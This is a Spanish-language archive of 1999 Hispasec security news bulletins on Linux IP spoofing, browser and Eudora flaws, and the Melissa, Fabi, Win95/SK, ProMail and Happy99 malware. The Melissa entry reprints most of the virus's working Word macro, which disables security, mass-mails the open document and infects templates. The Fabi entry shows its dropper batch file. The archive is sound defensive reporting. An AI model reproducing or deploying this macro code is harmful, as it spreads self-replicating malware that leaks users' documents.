miércoles, 31 de marzo de 1999

IP Spoofing Trivial en los Kernel Linux Inferiores a 2.0.36

Un error en los Kernel Linux inferiores a 2.0.36 posibilita ataques
IP Spoofing de forma trivial, sin necesidad de tener acceso a la red
local de la máquina atacada, ni de realizar predicción de números de
secuencia TCP. El problema es debido a un error de implementación del
módulo TCP del Kernel, que envía información a una aplicación a través
de la lectura de un "socket" sin que haya llegado a establecerse una
conexión TCP/IP.
Cuando se establece una conexión TCP, ambos extremos se ponen de
acuerdo en dos números de secuencia iniciales (enviado y recibido),
a partir de los cuales se numeran los bytes intercambiados por ambos
sistemas. Los ataques de IP Spoofing habituales necesitan conocer
dichos números de secuencia iniciales. Para ello es preciso o bien
estar en la misma red local que el ordenador atacado, o bien proceder
a una predicción de números de secuencia.

Al contrario que otros muchos sistemas, Linux utiliza desde hace tiempo
números de secuencia iniciales pseudoaleatorios, y no es susceptible a
su predicción.

No obstante este ataque permite que un atacante simule una conexión
TCP/IP correcta sin necesidad suministrar números de secuencia
correctos. Esto es posible debido a tres errores en la implementación
TCP de Linux:

1. Linux sólo verifica los números de secuencia cuando el Flag ACK
de la cabecera TCP está activado.

2. Linux almacena temporalmente los segmentos de datos TCP que se
reciban mientras la conexión no se establezca completamente.

3. Linux transfiere a la aplicación el contenido de los almacenes
temporales cuando la conexión finaliza con el Flag FIN.

La combinación de estos tres errores permite que un atacante envíe
datos a una aplicación remota aunque la conexión no se haya establecido.

Las versiones de Kernel 2.0.36 y superiores no se ven afectadas, ya
que NAI informó del problema durante su desarrollo. Los usuarios de
versiones anteriores deben actualizar su Kernel.

Más información:
NAi
CIAC

Actualizaciones:
RedHat
kernel.org



Jesús Cea Avión
jcea@argo.es
http://www.argo.es/~jcea



martes, 30 de marzo de 1999

Problemas en los nuevos navegadores

Tanto Netscape como Microsoft brindan a los usuarios las últimas
y más actualizadas versiones de sus navegadores, pero ninguno se
libra de los problemas de seguridad.
Las dos compañías brindan navegadores más rápidos, más evolucionados
y con mejores características, todo con objeto de obtener una mayor
cuota de usuarios que su competidor. Pero qué ocurre con la seguridad
de los usuarios. A los pocos días de su aparición pública ya se han
encontrado errores y problemas en ambos productos.

Georgi Guninski habitual por sus descubrimientos en torno a Netscape
ha encontrado el primer fallo propio en la versión 4.51 de Communicator
para Windows 95, también existente en la anterior 4.5 y 4.08 para
Windows NT. El problema permite espiar y obtener la url que se está
visitando en otra ventana del navegador.

Pero los problemas no sólo rodean a Netscape ya que el novedoso
Explorer 5.0 de Microsoft sigue inmerso de problemas con relación
al portapapeles. Juan Carlos García Cuartango ya detectó varias
vulnerabilidades, de las que nos hicimos eco en su momento, en
torno a la visibilidad del contenido del portapapeles con
Explorer 4. Hemos podido comprobar como algunos de aquellos
problemas que estaban parcheados en la anterior versión, no lo
están en la edición española del nuevo navegador.

El propio Cuartango avisa sobre un cambio en la política de
seguridad de Explorer 5, en el nuevo navegador se pueden realizar
operaciones de pegado desde cualquier origen del portapapeles. La
conclusión es clara, la política de seguridad de este elemento es
menos restrictiva en Explorer 5 que en la anterior versión. Juan
Carlos lo advierte claramente, «la realidad es que los usuarios
de Internet Explorer 5 están perdiendo privacidad».

Más información:
Bugtraq
Página personal de Cuartango


Antonio Ropero



lunes, 29 de marzo de 1999

Microsoft publica un parche para el Servidor de Web Personal

Microsoft ofrece un parche que elimina una vulnerabilidad que permite
la lectura no autorizada de ficheros en determinadas versiones del
Servidor de Web Personal bajo Windows 95 o 98.
El nuevo parche permite eliminar una vulnerabilidad existente en
algunas versiones del Servidor de Web Personal (Personal Web Server)
bajo Windows 95 o Windows 98. Los productos afectados por el problema
tienen nombres muy similares y son el Microsoft Personal Web Server
y el FrontPage Personal Web Server. En estas aplicaciones un usuario
no autorizado puede acceder a ficheros del servidor, con sólo conocer
el nombre del archivo y solicitarlo a través de una URL distinta de
lo habitual. Los usuarios que empleen productos de servidor web bajo
Windows NT no están afectados.

Esta vulnerabilidad permite a través de una petición fuera de lo
habitual saltarse los controles de acceso del servidor web, y acceder
a la lectura de cualquier archivo cuyo nombre se conozca. Aunque se
pueden leer ficheros, no se admite la modificación ni el borrado de
archivos, tampoco se pueden crear nuevos archivos. La vulnerabilidad
no permite usurpar ningún privilegio administrativo del servidor.

A pesar de que los productos afectados se proporcionan como parte de
Windows 95 y 98, ninguno se encuentra activado por defecto. Además
ninguno de los productos afectados exhiben la vulnerabilidad cuando
se ejecutan bajo Windows NT. Microsoft no ha recibido ningún aviso
de usuarios afectados por estos problemas, a pesar de ello publica
un parche para corregir de forma activa el error.

Más información:
Microsoft Knowledge Base:
http://support.microsoft.com/support/kb/articles/q216/4/53.asp
http://support.microsoft.com/support/kb/articles/q217/7/65.asp
http://support.microsoft.com/support/kb/articles/q217/7/63.asp
Boletin de Microsoft:
http://www.microsoft.com/security/bulletins/ms99-010.asp



Antonio Ropero



domingo, 28 de marzo de 1999

HispaSec analiza a Melissa

Melissa es un nuevo virus macro para Word 8.0 y 9.0
(Office 97 y 2000) que está consiguiendo una gran difusión
debido a que utiliza el email como medio de transporte. El
virus, que infecta documentos y plantillas, se adjunta al
correo. Al ser abierto por el destinatario lanza una macro
que reenviará el virus los primeros 50 buzones que tengamos
en la libreta de direcciones.
El virus ha levantado una gran expectación entre todos los
medios de comunicación, tan solo hay que ver al final de
este documento la cantidad de referencias donde se hacen
eco de la noticia.

Nos hemos encontrado distintos enfoques, desde los que
simplemente incitan a una alarma generalizada, hasta los
que dan detalles más técnicos. Por último no podían faltar
los que se quedan en las anécdotas recogidas de las diversas
noticias, contando que el primer documento infectado provenía
de las news y contenía passwords de sitios eróticos, ó que
la frase del payload hace referencia a la serie televisiva
de Los Simpsons.

En HispaSec, con un enfoque más técnico y objetivo, hemos
preferido hacer un análisis directo, para ello nos hemos
hecho con una copia del virus. De ahora en adelante os
invitamos a conocer a "Melissa" desde dentro, a través
de un recorrido por su código.

Lo primero que realiza el virus es interrogar al registro
y comprobar que parámetros tiene que modificar, según la
versión de Office, para que la seguridad sea baja.


[CODIGO]
------------------------------------
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\
9.0\Word\Security",
"Level") <> "" Then
------------------------------------

A continuación deshabilita las opciones de seguridad,
herramientas de macros, y otros parámetros, como la protección
antivirus ó la confirmación para realizar conversiones, que
ocultarán al usuario las acciones del virus que podrían alarmarlo.
Resulta curioso observar como el virus utiliza la resta (1-1), en
vez de poner directamente 0, para evitar algunas alarmas heurísticas
de antivirus que saltarían al asignar dicho número directamente,
ya que indicaría que se están deshabilitando las opciones de seguridad.


[CODIGO]
------------------------------------
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions =
(1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
---------------------------------------------------------

Gracias a la utilidad de conversión de la que dispone Word 9.0
(Office 2000), los documentos y plantillas hechos con la versión
anterior de Word (Word 8.0, Office 97) pueden convertirse a
la nueva versión. Además de los documentos, esta utilidad convierte
también los macros que incorpora, por lo que el virus de manera
automática pasa al nuevo formato, e infecta a los usuarios de
Office 2000. Esta opción de conversión de formatos requiere la
confirmación por parte del usuario. Para evitar que el usuario se
alarme, al ver las ventanas pidiendo si realmente quiere convertir
los documentos, el virus desactiva la confirmación de versiones con
la línea [Options.ConfirmConversions = (1 - 1)].

El virus crea un objeto Outlook basándose en instrucciones de Visual
Basic. Chequea que el sistema no ha sido infectado anteriormente,
por lo que interroga al registro y comprueba que no existe su marca
en la entrada [...\Office\"Melissa?" = "... by Kwyjibo"]. En tal caso
recoge las direcciones de los primeros 50 usuarios que tengamos
registrados en la libreta de direcciones. Vemos que es necesario
contar con Outlook en el sistema para que el virus se propague a
través de email. No tenemos porque haber ejecutado Outlook para que
se inicie el envío, basta con que lo tengamos instalado en el sistema.


[CODIGO]
---------------------------------------------------------
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?")
<> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
----------------------------------------------------------

Crea un email con el asunto "important Message From " más el
nombre del usuario infectado. El cuerpo del mensaje
consiste en el texto "Here is that document you asked for.,,
don`t show anyone else ;-)". A continuación adjunta al email
el documento Word activo y lo envía. Debemos de hacer hincapié
en que el documento enviado es el que tenemos activo en este
momento, por lo que el virus podría estar enviando información
confidencial. Para finalizar, el virus deja su marca en el
registro que le indicará la próxima vez que se ejecute que el
sistema ha sido ya infectado, y así no enviar los emails. Por
lo tanto, el envío de mensajes con el virus sólo se efectúa una
vez por sistema infectado.


[CODIGO]
----------------------------------------------------------
BreakUmOffASlice.Subject =
"Important Message From " & Application.UserName
BreakUmOffASlice.Body =
"Here is that document you asked for ...
don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add
ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") =
"... by Kwyjibo"
End If
-----------------------------------------------------------

A continuación el virus procede a comprobar si el documento
activo y la plantilla contienen un módulo con el nombre de
"Melissa". Si no se encuentra el módulo borra las líneas
existentes, lo renombra a "Melissa", y inicializa algunas
variables para proceder a su infección. Todo este proceso
lo hace doble, diferenciando entre documentos y plantillas.


[CODIGO]
------------------------------------------------------
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
------------------------------------------------------


El virus procede a infectar el documento y la plantilla
insertando una a una las líneas de su código. Hay que
destacar que en el caso de los documentos lo realiza
con el módulo "Private Sub Document_Close()", y en
las plantillas con el módulo "Private Sub Document_Open()".

Esto supondrá que el virus se iniciará cuando un
documento infectado sea abierto, y por el contrario
empezará a ejecutarse cuando se cierre, afectando a
otros documentos, a través de la plantilla.

Esto quiere decir que una vez infectado un sistema todos
los documentos que hagan referencia a plantillas infectadas,
como puede ser NORMAL.DOT, se infectarán de manera automática.
En algunas noticias se ha comentado que el virus se propaga
a través del documento LIST.DOC, aunque este sea el documento
original con el que se distribuyó el virus, queda demostrado
que puede llegarnos a través de cualquier otro documento.


[CODIGO]
-------------------------------------
If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString
("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN,
ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString
("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN,
NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And
(InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
---------------------------------------------------------


El virus contiene varios mensajes en líneas de comentarios
identificando el nombre del virus, el "nick" de su autor y
vaticinando que es el primero de una larga especie de nuevos
virus que utilizarán este tipo de técnicas. Por último un
payload basado en un mensaje que salta si el número del día
coincide con los minutos.


[CODIGO]
-----------------------------------------------------------
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then
Selection.TypeText
" Twenty-two points, plus triple-word-score,
plus fifty points for using all my letters.
Game's over. I'm outta here."
End Sub
-----------------------------------------------------------


Según las últimas noticias, la difusión que está consiguiendo el
virus ha provocado verdaderos colapsos en algunos servidores de
correo en compañías de la talla de Microsoft ó Intel. Este hecho
ha provocado que desde sendmail.com proporcionen la forma de
configurar el servidor de correo para filtrar los mensajes que
contengan el virus.

ftp://ftp.cert.org/pub/cert_advisories/Patches/CA-99-04-sendmail-melissa-filter.txt

Todo parece indicar que este lunes podría ser fatídico, ya que
muchos usuarios corporativos no han tenido ocasión durante el
fin de semana de abrir su correspondencia. Debemos de tener en
cuenta que la infección se produjo el viernes, y que en tan solo
dos días, no laborables, los usuarios infectados se cuentan por miles.

La respuesta de los antivirus ha sido en esta ocasión muy rápida,
y prácticamente la mayoría contarán en su última actualización
con la información necesaria para detectar y eliminar al virus
Melissa. Bastará con actualizar el antivirus a través de la
opción que les permite hacerlo regularmente desde Internet de
forma automática.

Debido a la rápida difusión de Melissa, son muchas las casas
antivirus que están ofreciendo actualizaciones específicas
para que sus usuarios puedan neutralizar cuanto antes el virus:

Network Associates
Panda Software
AVP
Symantec
Symantec

Más información:
Network Associates (McAfee) (26/03/1999)
Network Associates (26/03/1999) AvertLabs
BugTraq (26/03/1999)
BugTraq (26/03/1999)
BugTraq (26/03/1999)
BugTraq (26/03/1999)
BugTraq (26/03/1999)
Symantec (26/03/1999)
InfoWorld (26/03/1999)
ZDNet (26/03/1999)
CNET (26/03/1999)
AVP (27/03/1999)
Data Fellows (27/03/1999)
Data Fellows (27/03/1999) Imágenes del Virus Melissa
Data Fellows (27/03/1999) Imágenes del Virus Melissa
TrendMicro (27/03/1999)
CERT (27/03/1999)
Panda Software (28/03/1999)



Bernardo Quintero



sábado, 27 de marzo de 1999

Fabi, primer virus multipartite Win32/Word97

Fabi es el primer virus con la peculiaridad de infectar ejecutables
Win32 (PE) y Documentos de Word (8.0). La filosofía del virus es la
mera infección y distribución, ya que no dispone de payload (efecto).
Desde el punto de vista de infección de PE (Portable Executable),
no es residente sino de acción inmediata, infectando los ficheros
del directorio de ejecución, además del directorio de Windows y
el directorio system.

La infección desde PE, además de infectar ejecutables win32, tiene
capacidad para infectar documentos de Word, para ello el virus sigue
los siguientes pasos:
1) Genera un pequeño fichero PE sano.
2) Infecta ese fichero que tiene por nombre FABI.SYS.
3) Genera el código de macro en FABI.SRC incluyendo el dropper de PE
con script de debug. Este fichero será importado por la Normal.dot,
que el virus modifica, con lo que se podrán infectar documentos de
Word.

Si no fuera por unos pequeños detalles, la infección sería perfecta,
pero la infección de la plantilla NORMAL.DOT desde PE tiene fallos.
El virus intenta modificar la plantilla global NORMAL.DOT desde unos
directorios fijos, en caso de que no exista intenta crearla sin éxito.

Probablemente debido al origen brasileño del virus el autor ha
incluido 3 posibles directorios donde el Word puede estar instalado.
Versión portuguesa, española e inglesa. Los directorios de plantillas
están incluidos literalmente en el código del virus. En la versión
portuguesa e inglesa podrían funcionar, ya que los nombres de los
directorios coinciden con los que utiliza el virus, pero en la
versión española, el autor ha errado en la traducción.

C:\ARQUIV~1/MICROS~1/MODELOS/ NORMAL.DOT (portugués)
C:\ARCHIV~1/MICROS~1/ MODELOS/NORMAL.DOT (español)
C:\PROGRA~1/MICROS~1/TEMPLA~1/NORMAL.DOT (inglés)

En la versión española, el virus supone que las plantillas se guardan
en un directorio MODELOS, que en realidad en esta versión no existe,
con lo que no encontrará la plantilla global NORMAL.DOT.

Otro fallo en la elección de directorios, consiste en haber usado
la versión de nombres cortos, en lugar de nombres largos, ya que si
previamente a la instalación del Office se instala otro producto de
Microsoft, como puede ser el Microsoft Exchange, el directorio
cambia a MICROS~2\..., y además es mucho suponer que el directorio
de instalación sea C:\Archivos de Programa.

En caso de coincidir los directorios con los que tenemos en nuestra
máquina, el virus nos modificará la plantilla NORMAL.DOT de manera
que posteriormente sea capaz de infectar documentos de Word 8.0.

La infección desde Word se realiza al cerrar un documento infectado.
En este momento se ejecuta automáticamente la macro AutoClose que
contiene el código del virus. Esta macro, para infectar ficheros PE
crea un fichero FABI.BAT, cuyo código es el siguiente:

@DEBUG NUL
@COPY C:\FABI.EX C:\FABI.EXE
@C:\FABI.EXE
@DEL C:\FABI.EX >NUL
@DEL C:\FABI.EXE >NUL
@DEL C:\FABI.DRV >NUL

Tras esto, genera un dropper de ejecutable tipo PE en el fichero
FABI.DRV, a través de scripts de DEBUG. A continuación, ejecuta
el dropper (FABI.EXE), que infectará a los ejecutables PE que
encuentre, y finalmente elimina el dropper y los scripts usados
para generarlo.

Dentro de la infección de ficheros PE, se ha podido comprobar que
aunque infecta todos los ejecutables de win32 del directorio actual,
sólo infecta "BIEN" a los de un tamaño menor a 64 KB, aumentando el
tamaño del ejecutable en casi 16 KB. Este tamaño se debe a que
incluye en su interior la plantilla NORMAL.DOT (comprimida con un
formato LZ), que usa para infectar los documentos de Word.

El virus presenta un Bug que hace que la infección en ficheros con
tamaño superior a 64 Kb falle, debido a que sobreescribe el programa
a infectar. Se observa que el fichero no aumenta en tamaño, pero sí
que cambia el punto de entrada del ejecutable y se puede localizar
en el interior el código del virus "machacando" el código sano, con
lo que el fichero infectado queda totalmente inservible.


Gemma Romero
Responsable del laboratorio de virus
Panda Software



viernes, 26 de marzo de 1999

Virus que infecta los archivos de ayuda

Win95/SK es un nuevo virus polimórfico para Windows 95/98
que infecta los ejecutables (Portable Executable) de estos
sistemas operativos. Pero lo que hace novedoso a este virus
es su capacidad para infectar también los archivos de ayuda
Windows (.HLP).
El virus se ha detectado principalmente en Rusia, de donde
se cree que procede. Algunos fallos en su funcionamiento que
provocan errores en el kernel, la lentitud con la que se
reproduce, ó que solo infecte los ficheros HLP en los sistemas
que tienen el soporte del lenguaje ruso, son entre otros los
factores que indican que su expansión va a ser mínima.

Aunque pueda sonar a invención de última hora, ya se conocía
la posibilidad de crear un virus que utilizara los ficheros
de ayuda de Windows. Pero no ha sido hasta la aparición de
Win95/SK cuando se ha llevado la teoría a la práctica.

Los ficheros HLP pueden ser infectados ya que contienen macros
basadas en un lenguaje script. Las macros son ejecutadas de
forma automática por la aplicación WINHELP.EXE cada vez que
se abre un fichero de ayuda. Este lenguaje es el que permite
la creación y ejecución de programas.

Otros puntos a destacar del virus los podemos encontrar en
la forma de infectar los ejecutables de Windows a través
de la tecnología EPO (Entry Point Obscuring) que, a diferencia
de los virus tradicionales, consiste en seguir la pista al
código del programa que lo albergará y situar donde le
conviene el salto al código del virus. Los archivos comprimidos
tampoco escapan a este virus, ya que posee la habilidad para
infectar los tipo ARJ, HA, RAR y ZIP.

El virus contiene un payload destructivo que se activa cuando
se detecta que queremos ejecutar algún antivirus. En concreto
vigila los ficheros cuyos nombres coincidan con ADINF, AVPI,
AVP, VBA ó DRWEB, cuando esto ocurre el virus borra todos los
ficheros de los discos duros a los que tiene acceso el sistema.
Para terminar cuelga al sistema a través de la función
Fatal_Error_Handler.

Si piensa que su sistema puede estar infectado y quiere evitar
que el virus active la rutina de destrucción puede simplemente
renombrar el ejecutable del antivirus que utilice para que no
coincida con los nombres que el virus comprueba. Otro payload
más inofensivo se activa dependiendo de un contador al azar y
tan solo muestra el siguiente mensaje por pantalla: " 1997
VBA Ltd. E-mail:support@vba.minsk.by".

El virus presenta una complejidad inusual, que ha provocado
que los expertos necesitaran varios días para poder conocerlo
a fondo. En las URL de referencia se puede encontrar una
descripción técnica y detallada del virus.

Más información:
AVP
Data Fellows


Bernardo Quintero



jueves, 25 de marzo de 1999

Notes expone los mensajes e-mail cifrados

Lotus ha confirmado la existencia de un bug en la mensajería de los
clientes de Lotus Notes por el cual los mensajes de correo cifrado
pueden quedar expuestos.
El problema, que afecta a los clientes de Lotus Notes 4.5 y 4.6,
radica en los mensajes que se envían cifrados, ya que una copia del
mensaje recorre la red sin ningún tipo de cifrado almacenándose en
el servidor de igual forma. Cuando se envía un mensaje a través del
cliente Notes, realmente se envían dos copias de la carta, la
primera se dirige a su destinatario y la segunda se almacena en la
carpeta "Correo Enviado" del servidor Notes del emisor.

Si se cifra el mensaje, lógicamente con el deseo de que sólo el
receptor tenga posibilidad de leer la misiva, se repiten las
condiciones anteriores, pero debido a un bug el correo que se
destina al servidor no se cifra. Como consecuencia, una copia del
mail sin cifrar recorre la red, además la copia que se guarda
también se almacena en claro.

El problema está en que el mensaje puede ser interceptado y leído
si se analiza el tráfico de red entre el cliente Notes del emisor
y el servidor o si se accede directamente a la carpeta de correo
enviado del servidor Notes.

A la espera del parche para solucionar este problema, sobre el que
Lotus ya está trabajando, la compañía subsidiaria de IBM recomienda
a los administradores verificar que se emplea la sintaxis correcta
en "Localización del archivo de correo" ("Mail File Location") en
"Localización de documentos" ("Location Document"). Mientras que
los usuarios por su parte, cada vez que envíen un mensaje cifrado
deben pulsar el botón "Cifrar correo grabado" ("Encrypt Saved
Mail") en "Preferencias de correo" ("Mail Preferences").

Más información:
Bugtraq


Antonio Ropero



miércoles, 24 de marzo de 1999

Microsoft responde a las críticas

Microsoft ha publicado un boletín de alerta en el cual desmiente
que la privacidad de los usuarios pueda verse afectada por los
números identificadores de Office 97, y para tranquilidad de todos
los clientes ofrece medios para eliminarlos definitivamente.
Microsoft quiere desmentir todas las voces de alerta que durante los
últimos días han aparecido en torno a los ataques a la privacidad
por el uso de un identificador exclusivo generado por los documentos
de Office 97. Microsoft alega que «el identificador exclusivo generado
para los documentos de Office 97 contiene información que se deriva
en parte de una tarjeta de red, no de la identidad de un usuario
individual y por lo tanto no es posible determinar de forma fiable
el autor de un documento».

A pesar de ello Microsoft ha publicado dos parches que permiten
eliminar de forma definitiva el número de identificación exclusivo
de los documentos. El primero se ha dado en llamar revisión para el
identificador exclusivo de Office 97, que una vez aplicada, evitará
la inserción del número identificativo en los nuevos documentos de
Office. Por otra parte, también se ofrece una herramienta de
eliminación del identificador exclusivo de Office 97, que se puede
utilizar para quitar el código de todos los documentos creados
anteriormente. Ambos programas se pueden obtener en la página de
actualizaciones de Office http://officeupdate.microsoft.com.

La intención de Microsoft al incluir este número dentro de los
documentos era ayudar a los desarrolladores independientes a generar
herramientas que trabajen con documentos de Office 97, como
aplicaciones que reparen hipervínculos entre documentos de Office.
Aunque el número identificador no ha sido empleado por los
desarrolladores como en un principio esperaba la firma de Redmond,
por lo que se ha visto obligada a ofrecer los parches para su
eliminación y además ha anunciado que los documentos generados por
Office 2000 no insertaran dichos códigos.

Más información:
Carta de Microsoft a los usuarios: http://www.eu.microsoft.com/presspass/features/1999/03-08custletter2.htm
Actualizaciones de Office: http://officeupdate.microsoft.com/


Antonio Ropero



martes, 23 de marzo de 1999

Segunda Encuesta Mundial sobre Seguridad Informática

Por sexto año consecutivo la empresa consultora Ernst & Young
ha realizado una encuesta de opinión sobre seguridad informática
entre empresas españolas.
Tras analizar los resultados de ésta, se ha podido constatar que
el 82% de los encuestados consideran importante o muy importante
una política de seguridad informática en las empresas, aunque
esto no va necesariamente unido a la implantación de medidas
concretas. El 80% de las empresas españolas encuestadas dicen
no tener establecido ningún plan de acción para cuando se
detecta una intrusión, este dato disminuye al 75% en las
encuestas realizadas en el resto del mundo.

En el 53% de las encuestas las empresas dicen tener establecidas
políticas de seguridad, mientras que sólo en una de cada siete
empresas españolas utilizan técnicas de encriptación para
proteger sus datos. Otro punto en el cual se ve una evolución
de concienciación por parte de las empresas, es el incremento
en un 10% de los recursos humanos dedicados exclusivamente a la
seguridad, el porcentaje actual se sitúa en un 40%.

Aún teniendo en cuenta la implantación tan importante que ha
tenido Internet en las empresas españolas pasando de un 27% en
1997 al 84% en 1998 tan sólo el 7% de estas confirman la
utilización del comercio electrónico. Esto es debido a la
desconfianza que genera la falta de autenticación tanto del
comprador como del vendedor en la actualidad. Otro hecho
preocupante es la falta de investigación por parte de las
empresas de los accesos o intentos de accesos no autorizados
en los sistemas informáticos.

La encuesta también desvela la preocupación de las empresas
españolas frente al año 2000. De las empresas encuestadas un
13% afirman tener un plan terminado, el 30% lo deberían haber
terminado en 1998, el 56% lo hará durante 1999 y sólo un uno
por ciento no lo tendrán preparado para enero del 2000.

Más información:
Ernst & Young: http://www.eyoung.es


Antonio Román



lunes, 22 de marzo de 1999

Buffer Overflow en Eudora

El envío de ficheros anexados puede acarrear buffer overflow
en Eudora. El desbordamiento se produce cuando se reciben ficheros
cuyos nombres superen la longitud permitida por Windows.
El error se produce exactamente, en los clientes de correo Eudora
4.1, al recibir dos mensajes que contengan un fichero anexado cuyo
nombre posea al menos 231 caracteres. El número viene establecido
por la longitud máxima que Windows puede manejar, que se sitúa en
259 caracteres.

A la longitud del nombre del fichero anexado hay que sumarle los 31
caracteres de la trayectoria donde Windows lo almacena:
"C:\Program Files\Eudora\Attach\". La suma de la trayectoria junto
con el nombre del fichero anexado, 31+231, supera el máximo
permitido por Windows.

Este problema ya fue detectado el año pasado en la versión 4.0 de
Eudora, y corregido en la 4.1. Para subsanar el error lo que hace
el cliente de correo es truncar el nombre del fichero a 259
caracteres cuando supera el máximo establecido.

Si vuelve a recibir un segundo correo, donde se anexa de nuevo el
mismo fichero, Eudora volverá a truncar el nombre a los 259
caracteres. Cuando a continuación vaya a proceder a escribir el
fichero en el disco duro detecta que ya existe un archivo con la
misma denominación, es entonces cuando añade el carácter "1" al
final del nombre para no reemplazar el fichero anterior. Este
añadido, 259+1, provoca que se supere el máximo establecido,
produciéndose el buffer overflow.

Para probar el overflow podemos proceder a enviarnos a nosotros
mismos un email con un fichero anexado cuyo nombre supere la
longitud anteriormente comentada. A continuación reenviamos el
mismo mensaje y chequeamos nuestro correo, podremos observar como
al recibirlo el cliente se desborda. Hasta la fecha no existe
parche para este problema que ha sido detectado bajo plataformas
Windows 95 y NT, así como en la la versión beta 4.2 de Eudora.

Más información:
http://enext.dyndns.org/~whiz/exploits/byme/eudora41.txt


Bernardo Quintero



domingo, 21 de marzo de 1999

ProMail: troyano en el cliente de correo

ProMail v.1.21 es un nuevo troyano que se nos presenta como un programa
gratuito de correo electrónico para Windows 95/98. En estos momentos
tiene una gran difusión debido a que está siendo distribuido por
importantes sitios, tales como www.simtel.net o www.shareware.com.
El troyano está presente en los principales sitios de distribución de
ficheros bajo el nombre de proml121.zip, con un tamaño de 400kb y fecha
del 22 de febrero de 1999. En nuestro país, por ejemplo, podemos
encontrarlo en el mirror que el FTP de RedIRIS mantiene de simtel.net:

ftp://ftp.rediris.es/mirror/simtelnet/win95/email/proml121.zip

En su tarjeta de presentación el programa se nos presenta bajo el
copyright de SmartWare Inc. Entre sus características podemos destacar
el soporte de múltiples cuentas POP3, la compatibilidad con MIME y UUEncode,
el soporte de los estándares RFC 821/922/1725/1521/1522, e incluso la
opción de interactuar con software antivirus.

Una de las principales características de ProMail es que permite el soporte
de múltiples buzones de correo, lo que a su vez se convierte en el arma
principal del troyano. Cada vez que se crea un nuevo buzón ProMail crea
un fichero "account.ini" que contiene el nombre de usuario, password cifrada,
dirección de correo y resto de información del buzón creado.

El ejecutable, que parece estar creado con Borland Delphi, ha sido comprimido
con Petite, un compresor shareware de ejecutables Win32, lo que dificulta su
desensamblado. Un análisis de paquetes, a través de una red local, ha
permitido descubrir que este programa intenta conectar con un SMTP para
enviar la información recogida en los ficheros "account.ini". El envío se
produce a la cuenta que el supuesto creador del programa mantiene en
NetAddress, un proveedor de buzones de correo gratuito.

En un análisis posterior, ya basándose en un desensamblado, se determina que el
envío de la información es el único aspecto que el programa realiza como troyano,
ya que no se ha encontrado ningún otro indicio de código malicioso. Otra
característica que se ha podido observar es la utilización del fichero
"promail.pml" que no contiene ninguna información. La existencia ó no de este
archivo le indica al programa que una ó más cuentas no fueron enviadas cuando
fueron creadas, como por ejemplo ocurre cuando se hacen sin estar conectados a
Internet, ó cuando no se le da la orden de chequear el correo.

Por último, se ha procedido a crackear la cuenta donde envía la información el
troyano. En el buzón se han podido encontrar más de 80 emails, todos con el
asunto "kirio", que contenían igual número de cuentas, donde destacan las de
sitios tan dispares como Microsoft, la Armada en Michigan ó compañías de
videojuegos entre otras.

Más información:
Aeon Labs: http://cool.icestorm.net/aeon/news.html


Bernardo Quintero



sábado, 20 de marzo de 1999

HispaSec explica como eliminar el Happy99

En los últimos días nuestro Laboratorio está notando una amplia
difusión y propagación del gusano Happy99, del cual ya hablamos
en nuestro servicio de noticias una-al-día, por ello hemos
decidido explicar de nuevo como eliminar de nuestro ordenador
tan molesto visitante.
En HispaSec nos hicimos eco de la aparición de este gusano cuando
se descubrió hace ya casi dos meses (http://www.hispasec.com/unaaldia.asp?id=92).
Pero en la actualidad, muchos usuarios se encuentran infectados sin
saberlo y lo propagan en cada mensaje que envían, difundiendo
